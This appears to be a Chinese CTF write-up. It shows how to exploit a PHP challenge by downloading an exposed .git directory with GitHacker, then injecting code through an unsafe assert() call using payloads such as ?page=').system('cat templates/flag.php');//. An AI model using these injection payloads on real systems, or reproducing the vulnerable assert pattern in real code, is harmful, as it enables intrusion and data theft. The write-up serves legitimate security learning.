打开之后发现有关于gif,php和bootstrap的信息,于是想到是不是又git源码
地址栏后面加.git
http://61.147.171.105:61123/.git/
发现存在git目录,使用kali的githacker下载,第一次使用需要安装
pip3 install GitHacker
githacker --url http://61.147.171.105:61123/ --output-folder 123
下载后得到目录文件
经查找只有index存在信息,打开index.php查看代码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
关键代码段
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
分析:
assert("xxxxxxxx")函数表示截断,会直接运行其中xxxxx代码,如果xxxxx运行结果为true,则程序继续运行,如果返回false,则返回错误程度中断运行。
strpos函数表示strpos('$a', '$b')如果变量a中存在变量b,则返回true,否则返回false
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//这个语句用于过滤..
根据此语句可以构造php代码注入
先用phpinfo试一下
http://61.147.171.105:61123/?page=’).phpinfo();//
使用system函数构造载荷
?page=').system('cat templates/flag.php');//
接在一起就是
assert("strpos(').system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");
执行后打开flag.php
查看网站源码后得到flag
<!--?php $FLAG="cyberpeace{d98815545c367222f2e6db4cd679fe18}"; ?-->
思路参考自网上,有误请多指导